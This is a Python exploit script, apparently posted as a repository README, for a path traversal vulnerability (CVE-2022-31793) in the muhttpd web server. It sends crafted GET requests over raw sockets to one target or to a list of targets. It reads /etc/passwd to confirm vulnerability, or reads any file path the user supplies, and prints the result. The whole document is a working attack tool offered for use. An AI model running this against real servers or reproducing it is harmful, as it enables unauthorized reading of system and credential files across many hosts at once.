README.md
Rendering markdown...
import argparse
import socket
import sys
from urllib import request
def do_banner():
print("")
print(" _______ ________ ___ ___ ___ ___ ____ __ ______ ___ ____ ")
print(" / ____\ \ / / ____| |__ \ / _ \__ \|__ \ |___ \/_ |____ / _ \___ \ ")
print(" | | \ \ / /| |__ ______ ) | | | | ) | ) |_____ __) || | / / (_) |__) |")
print(" | | \ \/ / | __|______/ /| | | |/ / / /______|__ < | | / / \__, |__ < ")
print(" | |____ \ / | |____ / /_| |_| / /_ / /_ ___) || | / / / /___) |")
print(" \_____| \/ |______| |____|\___/____|____| |____/ |_|/_/ /_/|____/ ")
print(" Auther:@Wadxm")
print("")
def exploit(ip,payload):
s = socket.socket()
s.connect((ip,80))
request = f'GET a{payload} HTTP/1.1\r\nHost:{ip}\r\n\r\n'
s.send(request.encode('ascii')) #ascii编码传输
response = b''
chunk = s.recv(409600) # 从socket接收数据
while chunk:
response += chunk
chunk = s.recv(409600)
s.close()
res = response.decode('ascii') #ascii解码
return res
if __name__ == "__main__":
do_banner()
parser = argparse.ArgumentParser(description='Muhttpd web server Path traversal (CVE-2022-31793)')
parser.add_argument('-u',action="store",dest="ip",help="The ip to test")
parser.add_argument('-l',action="store",dest="list",help="The url list")
parser.add_argument('-v',action='store_true', default=False,dest="verify",help="verify")
parser.add_argument('-f',action="store",dest="filepath",help="The file path")
args = parser.parse_args()
if args.ip and args.list:
print("User specified both '-u' and '-l'. Only one may be chosen")
sys.exit(1)
if not args.ip and not args.list:
print("User specified neither '-u' nor '-l'. User must choose one")
sys.exit(1)
if args.verify and args.filepath:
print("User specified both '-v' and '-f'. Only one may be chosen")
sys.exit(1)
if not args.verify and not args.filepath:
print("User specified neither '-v' nor '-f'. User must choose one")
sys.exit(1)
if args.verify:
print("[+] Verifying the target")
payload = '/etc/passwd'
if args.ip:
res = exploit(args.ip,payload)
if ":/bin/" in res:
print(args.ip+' is Vulnerable')
if args.list:
print('Loading url file...')
with open(args.list, 'r') as file:
f = file.readlines()
for i in f:
i = i.strip('\n')
try:
res = exploit(i,payload)
if ":/bin/" in res:
print(i+' is Vulnerable')
except:
print('[-] The HTTP request failed')
sys.exit(0)
if args.filepath:
print("[+] Generating a payload")
payload = args.filepath
if args.ip:
res = exploit(args.ip,payload)
print(res)
if args.list:
print('Loading url file...')
with open(args.list, 'r') as file:
f = file.readlines()
for i in f:
i = i.strip('\n')
try:
res = exploit(i,payload)
print(res)
except:
print('[-] The HTTP request failed')
sys.exit(0)